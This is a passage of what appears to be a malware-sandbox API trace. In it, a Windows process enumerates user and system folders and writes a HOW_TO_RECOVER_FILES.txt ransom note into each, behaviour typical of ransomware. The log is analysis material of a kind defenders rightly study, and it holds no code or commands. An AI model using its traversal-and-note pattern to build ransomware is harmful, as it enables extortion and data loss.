ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMProfiles", cAlternateFileName="DMPROF~1")) returned 1 [0152.402] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33faab8a, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33faab8a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33faab8a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.402] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0152.402] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0152.402] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0152.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0152.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0152.403] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc", lpFilePart=0x0) returned 0x24 [0152.403] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x33faab8a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33faab8a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.403] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x33faab8a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33faab8a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.403] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMProfiles", cAlternateFileName="DMPROF~1")) returned 1 [0152.403] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33faab8a, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33faab8a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33faab8a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.403] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0152.403] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0152.403] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0152.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0152.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0152.404] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles", lpFilePart=0x0) returned 0x2f [0152.404] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.404] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.404] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0152.405] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0152.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0152.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0152.405] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles", lpFilePart=0x0) returned 0x2f [0152.405] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.405] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.405] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0152.405] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0152.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0152.405] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0152.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0152.406] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\dmprofiles\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0153.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ea300) returned 1 [0153.739] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3d [0153.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0153.739] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0153.857] GetFileType (hFile=0x650) returned 0x1 [0153.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0153.877] GetFileType (hFile=0x650) returned 0x1 [0153.878] WriteFile (in: hFile=0x650, lpBuffer=0x33a2758*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x33a2758*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0153.879] CloseHandle (hObject=0x650) returned 1 [0153.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0153.879] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0153.879] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0153.880] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.880] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3aee4d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0153.880] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0153.880] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0153.880] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0153.880] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0153.881] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0153.881] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0153.881] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0153.881] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0153.881] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0153.881] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0153.882] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0153.882] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c4aac40, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x7a4c27fa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x7a4c27fa, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0153.882] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6c6021fd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x6c6021fd, ftLastAccessTime.dwHighDateTime=0x1d29fdc, ftLastWriteTime.dwLowDateTime=0x6c6021fd, ftLastWriteTime.dwHighDateTime=0x1d29fdc, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0153.882] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6c6021fd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x6c6021fd, ftLastAccessTime.dwHighDateTime=0x1d29fdc, ftLastWriteTime.dwLowDateTime=0x6c6021fd, ftLastWriteTime.dwHighDateTime=0x1d29fdc, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0153.882] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7dab84ff, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0xacbd1187, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x855f639a, ftLastWriteTime.dwHighDateTime=0x1d2fa07, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0153.882] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7ddd9675, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0xacbd1187, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x855d0141, ftLastWriteTime.dwHighDateTime=0x1d2fa07, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0153.882] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7de71fdf, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0x855d0141, ftLastAccessTime.dwHighDateTime=0x1d2fa07, ftLastWriteTime.dwLowDateTime=0x855d0141, ftLastWriteTime.dwHighDateTime=0x1d2fa07, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0153.883] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b6f06dc, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b6f06dc, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b762e4b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", cAlternateFileName="NTUSER~2.BLF")) returned 1 [0153.883] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b6f06dc, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b6f06dc, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b762e4b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~3.REG")) returned 1 